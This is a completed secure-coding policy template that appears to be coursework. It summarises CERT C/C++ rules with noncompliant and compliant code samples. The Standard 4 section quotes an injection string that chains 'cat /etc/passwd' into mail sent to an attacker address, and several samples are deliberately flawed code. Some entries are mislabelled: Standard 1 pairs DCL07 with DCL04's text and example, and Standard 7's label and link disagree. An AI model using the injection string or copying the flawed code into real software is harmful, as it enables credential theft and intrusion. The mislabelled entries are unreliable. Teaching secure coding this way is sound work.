**Green Pace Developer: Security Policy Guide Template**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_heading=h.gjdgxs)

[Purpose 2](#_heading=h.30j0zll)

[Scope 2](#_heading=h.1fob9te)

[Module Three Milestone 2](#_heading=h.3znysh7)

[Ten Core Security Principles 2](#_heading=h.4d34og8)

[C/C++ Ten Coding Standards 3](#_heading=h.2s8eyo1)

[Coding Standard 1 4](#_heading=h.3rdcrjn)

[Coding Standard 2 5](#_heading=h.26in1rg)

[Coding Standard 3 6](#_heading=h.lnxbz9)

[Coding Standard 4 7](#_heading=h.35nkun2)

[Coding Standard 5 8](#_heading=h.1ksv4uv)

[Coding Standard 6 9](#_heading=h.2jxsxqh)

[Coding Standard 7 10](#_heading=h.z337ya)

[Coding Standard 8 11](#_heading=h.28h4qwu)

[Coding Standard 9 13](#_heading=h.nmf14n)

[Coding Standard 10 14](#_heading=h.37m2jsg)

[Defense-in-Depth Illustration 15](#_heading=h.1mrcu09)

[Project One 15](#_heading=h.46r0co2)

[1.](#_heading=h.2lwamvv) Revise the C/C++ Standards 15

[2.](#_heading=h.111kx3o) Risk Assessment 15

[3.](#_heading=h.3l18frh) Automated Detection 15

[4.](#_heading=h.206ipza) Automation 15

[5.](#_heading=h.4k668n3) Summary of Risk Assessments 16

[6.](#_heading=h.2zbgiuw) Create Policies for Encryption and Triple A 16

[7.](#_heading=h.1egqt2p) Map the Principles 17

[Audit Controls and Management 18](#_heading=h.3ygebqi)

[Enforcement 18](#_heading=h.2dlolyb)

[Exceptions Process 18](#_heading=h.sqyw64)

[Distribution 19](#_heading=h.3cqmetx)

[Policy Change Control 19](#_heading=h.1rvwp1q)

[Policy Version History 19](#_heading=h.4bvk7pj)

[Appendix A Lookups 19](#_heading=h.2r0uhxc)

[Approved C/C++ Language Acronyms 19](#_heading=h.1664s55)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Input must be validated from all potential sources, including unknown or untrusted ones. This can help prevent certain vulnerabilities, as the data is checked prior to its implementation in the code. This practice is especially useful when data can be received from external sources. |
| 1. Heed Compiler Warnings | When running code, always use the highest warning level possible. If the compiler gives you a warning, it is imperative to make the necessary edits to the code so that this warning is eliminated. Analysis tools should also be used on the code to detect and eliminate other potential vulnerabilities. |
| 1. Architect and Design for Security Policies | The architecture and design of the code should be created with security in mind. The code should be created in such a way that security measures are enforced. |
| 1. Keep It Simple | The code’s design should not be overly complex, it should be kept as simple as possible while still maintaining its intended function. The more complex the code is, the more open the code is to vulnerabilities. In addition, the more complex code is, the more time will have to be dedicated to ensuring that it is secure. |
| 1. Default Deny | When considering what users should be able to access or run code, you should think from a standpoint of “who should I include” rather than “who should I exclude.” By doing this, less users will have access to the code, leading to a more secure environment overall. |
| 1. Adhere to the Principle of Least Privilege | Permissions should be granted sparingly. When giving permissions to a user or process, only the essentials should ultimately be considered. The more permissions given, the more vulnerable the code begins. In addition, if higher permissions are required to run a process, they should only be granted for the necessary duration of the process. |
| 1. Sanitize Data Sent to Other Systems | All data being sent out to other systems should first be scanned and sanitized. If data is sent out as-is, any extraneous data could be used by potential malicious actors to initiate an attack. By sanitizing the data and removing unnecessary aspects (or by limiting the data’s range), the potential vulnerabilities can be mitigated. |
| 1. Practice Defense in Depth | If a potential security flaw exists, it should be protected with multiple layers of defense. If one layer falls, another can still be protecting the flaw. Each layer of defense should be based on a different defensive strategy, so that they are all unique. |
| 1. Use Effective Quality Assurance Techniques | There are multiple different quality assurance techniques which can be utilized to limit potential security flaws. Three such techniques are penetration testing (the process of trying to find and exploit the potential security flaws prior to actual code deployment), fuzz testing (an automated test in which bad data is injected into the code as inputs to see how the code reacts), and source code audits (the overall process of reviewing the code for potential vulnerabilities). In addition, it is always a good idea to have a third party review the code, as this fresh set of eyes can potentially find flaws that would otherwise go unnoticed. |
| 1. Adopt a Secure Coding Standard | The coding standard applied/developed should have security as one of its main tenants. This coding standard should also take into account both the coding language as well as the coding platform. |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | [**Include the appropriate type information in function declarators**](https://wiki.sei.cmu.edu/confluence/display/c/DCL07-C.+Include+the+appropriate+type+information+in+function+declarators) |
| --- | --- | --- |
| **Data Type** | [DCL07-C] | Every declaration should be for a single variable, on its own line, with an explanatory comment about the role of the variable. Declaring multiple variables in a single declaration can cause confusion regarding the types of the variables and their initial values. If more than one variable is declared in a declaration, care must be taken that the type and initialized value of the variable are handled correctly. |

| **Noncompliant Code** |
| --- |
| This noncompliant code example uses the identifier-list form for parameter declarations:  (Subclause 6.11.7 of the C Standard [ISO/IEC 9899:2011] states that "the use of function definitions with separate parameter identifier and declaration lists (not prototype-format parameter type and identifier declarators) is an obsolescent feature.") |
| char \*src = 0, c = 0; |

| **Compliant Code** |
| --- |
| In this compliant solution, int is the type specifier, max(int a, int b) is the function declarator, and the block within the curly braces is the function body: |
| int max(int a, int b) {  return a > b ? a : b;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Keep It Simple  Declaring several variables per line adds needless complexity to the code and opens it up to potential mistakes/errors. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Low | P3 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 22.04 | function-prototype  implicit-function-declaration | Partially checked |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | LANG.FUNCS.PROT  LANG.STRUCT.DECL.IMPT | Incomplete function prototype  Implicit Type |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | CC2.DCL07 | Fully implemented |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C: Rec. DCL07-C | Checks for:   * Cast between function pointers with different types * Function declared implicitly.   Rec. fully covered. |

#### Coding Standard 2

| **Coding Standard** | **Label** | [**Const-qualify immutable objects**](https://wiki.sei.cmu.edu/confluence/display/c/DCL00-C.+Const-qualify+immutable+objects) |
| --- | --- | --- |
| **Data Value** | [DCL00-C] | Immutable objects should be const-qualified. Enforcing object immutability using const qualification helps ensure the correctness and security of applications. ISO/IEC TR 24772, for example, recommends labeling parameters as constant to avoid the unintentional modification of function arguments [ISO/IEC TR 24772]. STR05-C. Use pointers to const when referring to string literals describes a specialized case of this recommendation.  Adding const qualification may propagate through a program; as you add const, qualifiers become still more necessary. This phenomenon is sometimes called const poisoning, which can frequently lead to violations of EXP05-C. Do not cast away a const qualification. Although const qualification is a good idea, the costs may outweigh the value in the remediation of existing code.  A macro or an enumeration constant may also be used instead of a const-qualified object. DCL06-C. Use meaningful symbolic constants to represent literal values describes the relative merits of using const-qualified objects, enumeration constants, and object-like macros. However, adding a const qualifier to an existing variable is a better first step than replacing the variable with an enumeration constant or macro because the compiler will issue warnings on any code that changes your const-qualified variable. Once you have verified that a const-qualified variable is not changed by any code, you may consider changing it to an enumeration constant or macro, as best fits your design. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code, pi is declared as a float. Although pi is a mathematical constant, its value is not protected from accidental modification. |
| float pi = 3.14159f;  float degrees;  float radians;  /\* ... \*/  radians = degrees \* pi / 180; |

| **Compliant Code** |
| --- |
| In this compliant solution, pi is declared as a const-qualified object: |
| const float pi = 3.14159f;  float degrees;  float radians;  /\* ... \*/  radians = degrees \* pi / 180; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Architect and Design for Security Policies  Correctly setting variables as const-qualified is part of designing secure code. It is essentially in preventing non-authorized alterations of variable values prior to or during code runs. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | P1 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 78 D  93 D  200 S | Fully implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_C-DCL00-a | Declare parameters or local variable as const whenever possible |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | 953 | Fully supported |
| [PRQA QA-C](https://wiki.sei.cmu.edu/confluence/display/c/PRQA+QA-C) | 9.7 | 3204, 3227,  3232, 3673,  3677 | Partially implemented |

#### Coding Standard 3

| **Coding Standard** | **Label** | [**Guarantee that storage for strings has sufficient space for character data and the null terminator**](https://wiki.sei.cmu.edu/confluence/display/cplusplus/STR50-CPP.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator) |
| --- | --- | --- |
| **String Correctness** | [STR50-CPP] | Copying data to a buffer that is not large enough to hold that data results in a buffer overflow. Buffer overflows occur frequently when manipulating strings [Seacord 2013]. To prevent such errors, either limit copies through truncation or, preferably, ensure that the destination is of sufficient size to hold the data to be copied. C-style strings require a null character to indicate the end of the string, while the C++ std::basic\_string template requires no such character. |

| **Noncompliant Code** |
| --- |
| Because the input is unbounded, the following code could lead to a buffer overflow. |
| #include <iostream>    void f() {  char buf[12];  std::cin >> buf;  } |

| **Compliant Code** |
| --- |
| The best solution for ensuring that data is not truncated and for guarding against buffer overflows is to use std::string instead of a bounded array, as in this compliant solution. |
| #include <iostream>  #include <string>    void f() {  std::string input;  std::string stringOne, stringTwo;  std::cin >> stringOne >> stringTwo;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Architect and Design for Security Policies  Code should be designed in such a way that buffer overflows due to insufficient data space is avoided. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 489 S, 66 X, 70 X, 71 X | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_CPP-STR50-b  CERT\_CPP-STR50-c  CERT\_CPP-STR50-e  CERT\_CPP-STR50-f  CERT\_CPP-STR50-g | Avoid overflow due to reading a not zero terminated string  Avoid overflow when writing to a buffer  Prevent buffer overflows from tainted data  Avoid buffer write overflow from tainted data  Do not use the 'char' buffer to store input from 'std::cin' |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C++: STR50-CPP | Checks for:   * Use of dangerous standard function * Missing null in string array * Buffer overflow from incorrect string format specifier * Destination buffer overflow in string manipulation * Insufficient destination buffer size   Rule partially covered. |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | stream-input-char-array | Partially checked |

#### Coding Standard 4

| **Coding Standard** | **Label** | [**Sanitize data passed to complex subsystems**](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems) |
| --- | --- | --- |
| **SQL Injection** | [STR02-C] | String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result, it is necessary to sanitize all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted.  These are some examples of complex subsystems:   * Command processor via a call to system() or similar function (also addressed in ENV03-C. Sanitize the environment when invoking external programs) * External programs * Relational databases * Third-party commercial off-the-shelf components (for example, an enterprise resource planning subsystem) |

| **Noncompliant Code** |
| --- |
| Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address to a buffer and then uses this string as an argument in a call to system() [Viega 2003]:  (The risk, of course, is that the user enters the following string as an email address:  bogus@addr.com; cat /etc/passwd | mail some@badguy.net  For more information on the system() call, see ENV03-C. Sanitize the environment when invoking external programs and ENV33-C. Do not call system().) |
| sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  system(buffer); |

| **Compliant Code** |
| --- |
| It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. Doing so can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, whitelisting can be used to eliminate dangerous characters from the data.  The whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. This compliant solution, based on the tcp\_wrappers package written by Wietse Venema, shows the whitelisting approach:  (The benefit of whitelisting is that a programmer can be certain that a string contains only characters that are considered safe by the programmer. Whitelisting is recommended over blacklisting, which traps all unacceptable characters, because the programmer needs only to ensure that acceptable characters are identified. As a result, the programmer can be less concerned about which characters an attacker may try in an attempt to bypass security checks.) |
| static char ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"  "ABCDEFGHIJKLMNOPQRSTUVWXYZ"  "1234567890\_-.@";  char user\_data[] = "Bad char 1:} Bad char 2:{";  char \*cp = user\_data; /\* Cursor into string \*/  const char \*end = user\_data + strlen( user\_data);  for (cp += strspn(cp, ok\_chars); cp != end; cp += strspn(cp, ok\_chars)) {  \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Sanitize Data Sent to Other Systems  All string data should be sanitized prior to being passed along to another system. This can prevent the string data from being used in a malicious and/or non-intended manner. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | IO.INJ.COMMAND  IO.INJ.FMT  IO.INJ.LDAP  IO.INJ.LIB  IO.INJ.SQL  IO.UT.LIB  IO.UT.PROC | Command injection  Format string injection  LDAP injection  Library injection  SQL injection  Untrusted Library Load  Untrusted Process Creation |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 6.5 | TAINTED\_STRING | Fully implemented |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 108 D, 109 D | Partially implemented |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2023a | CERT C: Rec. STR02-C | Checks for:   * Execution of externally controlled command * Command executed from externally controlled path * Library loaded from externally controlled path   Rec. partially covered. |

#### Coding Standard 5

| **Coding Standard** | **Label** | [**Do not access freed memory**](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory) |
| --- | --- | --- |
| **Memory Protection** | [MEM50-CPP] | Evaluating a pointer—including dereferencing the pointer, using it as an operand of an arithmetic operation, type casting it, and using it as the right-hand side of an assignment—into memory that has been deallocated by a memory management function is undefined behavior. Pointers to memory that has been deallocated are called dangling pointers. Accessing a dangling pointer can result in exploitable vulnerabilities.  It is at the memory manager's discretion when to reallocate or recycle the freed memory. When memory is freed, all pointers into it become invalid, and its contents might either be returned to the operating system, making the freed space inaccessible, or remain intact and accessible. As a result, the data at the freed location can appear to be valid but change unexpectedly. Consequently, memory must not be written to or read from once it is freed. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, s is dereferenced after it has been deallocated. If this access results in a write-after-free, the vulnerability can be exploited to run arbitrary code with the permissions of the vulnerable process. Typically, dynamic memory allocations and deallocations are far removed, making it difficult to recognize and diagnose such problems.  (The function g() is marked noexcept(false) to comply with MEM52-CPP. Detect and handle memory allocation errors.) |
| #include <new>    struct S {  void f();  };    void g() noexcept(false) {  S \*s = new S;  // ...  delete s;  // ...  s->f();  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the dynamically allocated memory is not deallocated until it is no longer required. |
| #include <new>    struct S {  void f();  };    void g() noexcept(false) {  S \*s = new S;  // ...  s->f();  delete s;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Architect and Design for Security Policies  Code should be designed so that dangling pointers are avoided. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Clang) | 3.9 | clang-analyzer-cplusplus.NewDelete  clang-analyzer-alpha.security.ArrayBoundV2 | Checked by clang-tidy, but does not catch all violations of this rule. |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | ALLOC.UAF | Use after free |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | v7.5.0 | USE\_AFTER\_FREE | Can detect the specific instances where memory is deallocated more than once or read/written to the target of a freed pointer |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_CPP-MEM50-a | Do not use resources that have been freed |

#### Coding Standard 6

| **Coding Standard** | **Label** | [**Use a static assertion to test the value of a constant expression**](https://wiki.sei.cmu.edu/confluence/display/c/DCL03-C.+Use+a+static+assertion+to+test+the+value+of+a+constant+expression) |
| --- | --- | --- |
| **Assertions** | [DCL03-C] | Assertions are a valuable diagnostic tool for finding and eliminating software defects that may result in vulnerabilities (see MSC11-C. Incorporate diagnostic tests using assertions). The runtime assert() macro has some limitations, however, in that it incurs a runtime overhead and because it calls abort(). Consequently, the runtime assert() macro is useful only for identifying incorrect assumptions and not for runtime error checking. As a result, runtime assertions are generally unsuitable for server programs or embedded systems.  Static assertion is a new facility in the C Standard. It takes the form  static\_assert(constant-expression, string-literal);  Subclause 6.7.10 of the C Standard [ISO/IEC 9899:2011] states:  The constant expression shall be an integer constant expression. If the value of the constant expression compares unequal to 0, the declaration has no effect. Otherwise, the constraint is violated and the implementation shall produce a diagnostic message that includes the text of the string literal, except that characters not in the basic source character set are not required to appear in the message.  It means that if constant-expression is true, nothing will happen. However, if constant-expression is false, an error message containing string-literal will be output at compile time.  /\* Passes \*/  static\_assert(  sizeof(int) <= sizeof(void\*),  "sizeof(int) <= sizeof(void\*)"  );    /\* Fails \*/  static\_assert(  sizeof(double) <= sizeof(int),  "sizeof(double) <= sizeof(int)"  );  Static assertion is not available in C99. |

| **Noncompliant Code** |
| --- |
| This noncompliant code uses the assert() macro to assert a property concerning a memory-mapped structure that is essential for the code to behave correctly:  (Although the use of the runtime assertion is better than nothing, it needs to be placed in a function and executed. This means that it is usually far away from the definition of the actual structure to which it refers. The diagnostic occurs only at runtime and only if the code path containing the assertion is executed.) |
| #include <assert.h>    struct timer {  unsigned char MODE;  unsigned int DATA;  unsigned int COUNT;  };    int func(void) {  assert(sizeof(struct timer) == sizeof(unsigned char) + sizeof(unsigned int) + sizeof(unsigned int));  } |

| **Compliant Code** |
| --- |
| For assertions involving only constant expressions, a preprocessor conditional statement may be used, as in this compliant solution:  (Using #error directives allows for clear diagnostic messages. Because this approach evaluates assertions at compile time, there is no runtime penalty.) |
| struct timer {  unsigned char MODE;  unsigned int DATA;  unsigned int COUNT;  };    #if (sizeof(struct timer) != (sizeof(unsigned char) + sizeof(unsigned int) + sizeof(unsigned int)))  #error "Structure must not have any padding"  #endif |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Use Effective Quality Assurance Techniques  The use of automated testing via static assertions can be used to make sure the code does not have any security vulnerabilities when presented with bad or unexpected data. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | P1 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Clang) | 3.9 | misc-static-assert | Checked by clang-tidy |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | (customization) | Users can implement a custom check that reports uses of the assert() macro |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | CC2.DCL03 | Fully implemented |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 44 S | Fully implemented |

#### Coding Standard 7

| **Coding Standard** | **Label** | [**Handle all exceptions**](https://wiki.sei.cmu.edu/confluence/display/cplusplus/ERR51-CPP.+Handle+all+exceptions) |
| --- | --- | --- |
| **Exceptions** | [ERR59-CPP] | When an exception is thrown, control is transferred to the nearest handler with a type that matches the type of the exception thrown. If no matching handler is directly found within the handlers for a try block in which the exception is thrown, the search for a matching handler continues to dynamically search for handlers in the surrounding try blocks of the same thread. The C++ Standard, [except.handle], paragraph 9 [ISO/IEC 14882-2014], states the following:  If no matching handler is found, the function std::terminate() is called; whether or not the stack is unwound before this call to std::terminate() is implementation-defined.  The default terminate handler called by std::terminate() calls std::abort(), which abnormally terminates the process. When std::abort() is called, or if the implementation does not unwind the stack prior to calling std::terminate(), destructors for objects may not be called and external resources can be left in an indeterminate state. Abnormal process termination is the typical vector for denial-of-service attacks. For more information on implicitly calling std::terminate(), see ERR50-CPP. Do not abruptly terminate the program.  All exceptions thrown by an application must be caught by a matching exception handler. Even if the exception cannot be gracefully recovered from, using the matching exception handler ensures that the stack will be properly unwound and provides an opportunity to gracefully manage external resources before terminating the process.  As per ERR50-CPP-EX1, a program that encounters an unrecoverable exception may explicitly catch the exception and terminate, but it may not allow the exception to remain uncaught. One possible solution to comply with this rule, as well as with ERR50-CPP, is for the main() function to catch all exceptions. While this does not generally allow the application to recover from the exception gracefully, it does allow the application to terminate in a controlled fashion. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, neither f() nor main() catch exceptions thrown by throwing\_func(). Because no matching handler can be found for the exception thrown, std::terminate() is called. |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  f();  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the main entry point handles all exceptions, which ensures that the stack is unwound up to the main() function and allows for graceful management of external resources. |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  try {  f();  } catch (...) {  // Handle error  }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Practice Defense in Depth  Exceptions should be utilized as a possible layer of defense for potential security vulnerabilities. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | main-function-catch-all  early-catch-all | Partially checked |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | LANG.STRUCT.UCTCH | Unreachable Catch |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | 527 S | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2022.2 | CERT\_CPP-ERR51-a  CERT\_CPP-ERR51-b | Always catch exceptions  Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point |

#### Coding Standard 8

| **Coding Standard** | **Label** | [**Do not declare more than one variable per declaration**](https://wiki.sei.cmu.edu/confluence/display/c/DCL04-C.+Do+not+declare+more+than+one+variable+per+declaration) |
| --- | --- | --- |
| **Variable Declaration** | [DCL04-C] | Every declaration should be for a single variable, on its own line, with an explanatory comment about the role of the variable. Declaring multiple variables in a single declaration can cause confusion regarding the types of the variables and their initial values. If more than one variable is declared in a declaration, care must be taken that the type and initialized value of the variable are handled correctly. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, a programmer or code reviewer might mistakenly believe that the two variables src and c are declared as char \*. In fact, src has a type of char \*, whereas c has a type of char. |
| char \*src = 0, c = 0; |

| **Compliant Code** |
| --- |
| In this compliant solution, each variable is declared on a separate line:  (Although this change has no effect on compilation, the programmer's intent is clearer.) |
| char \*src; /\* Source string \*/  char c; /\* Character being tested \*/ |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Keep It Simple  Declaring multiple variables per line adds needless complexity to code, opening it up to potential vulnerabilities. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Low | P3 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | LANG.STRUCT.DECL.ML | Multiple Declarations on Line |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | CC2.DCL04 | Fully implemented |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 579 S | Fully implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_C-DCL04-a | Each variable should be declared in a separate declaration statement |

#### Coding Standard 9

| **Coding Standard** | **Label** | [**Verify that all integer values are in range**](https://wiki.sei.cmu.edu/confluence/display/c/INT08-C.+Verify+that+all+integer+values+are+in+range) |
| --- | --- | --- |
| **Integer Values** | [INT08-C] | Integer operations must result in an integer value within the range of the integer type (that is, the resulting value is the same as the result produced by unlimited-range integers). Frequently, the range is more restrictive depending on the use of the integer value, for example, as an index. Integer values can be verified by code review or by static analysis.  Integer overflow is undefined behavior, so a compiled program can do anything, including go off to play the Game of Life. Furthermore, a compiler may perform optimizations that assume an overflow will never occur, which can easily yield unexpected results. Compilers can optimize away if statements that check whether an overflow occurred. See MSC15-C. Do not depend on undefined behavior for an example.  Verifiably in-range operations are often preferable to treating out-of-range values as an error condition because the handling of these errors has been repeatedly shown to cause denial-of-service problems in actual applications. The quintessential example is the failure of the Ariane 5 launcher, which occurred because of an improperly handled conversion error that resulted in the processor being shut down [Lions 1996].  A program that detects an integer overflow to be imminent may do one of two things: (1) signal some sort of error condition or (2) produce an integer result that is within the range of representable integers on that system. Some situations can be handled by an error condition, where an overflow causes a change in control flow (such as the system complaining about bad input and requesting alternative input from the user). Others are better handled by the latter option because it allows the computation to proceed and generate an integer result, thereby avoiding a denial-of-service attack. However, when continuing to produce an integer result in the face of overflow, the question of what integer result to return to the user must be considered.  The saturation and modwrap algorithms and the technique of restricted range usage, defined in the following subsections, produce integer results that are always within a defined range. This range is between the integer values MIN and MAX (inclusive), where MIN and MAX are two representable integers with MIN < MAX. |

| **Noncompliant Code** |
| --- |
| In this noncompliant example, i + 1 will overflow on a 16-bit machine. The C Standard allows signed integers to overflow and produce incorrect results. Compilers can take advantage of this to produce faster code by assuming an overflow will not occur. As a result, the if statement that is intended to catch an overflow might be optimized away. |
| int i = /\* Expression that evaluates to the value 32767 \*/;  /\* ... \*/  if (i + 1 <= i) {  /\* Handle overflow \*/  }  /\* Expression involving i + 1 \*/ |

| **Compliant Code** |
| --- |
| Using a long instead of an int is guaranteed to accommodate the computed value: |
| long i = /\* Expression that evaluates to the value 32767 \*/;  /\* ... \*/  /\* No test is necessary; i is known not to overflow \*/  /\* Expression involving i + 1 \*/ |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Use Effective Quality Assurance Techniques  Automated tests can be performed to make sure that all integer values fall within the acceptable range, or to ensure that there is no vulnerabilities if this is not the case. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Probable | High | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.04 | integer-overflow | Fully checked |
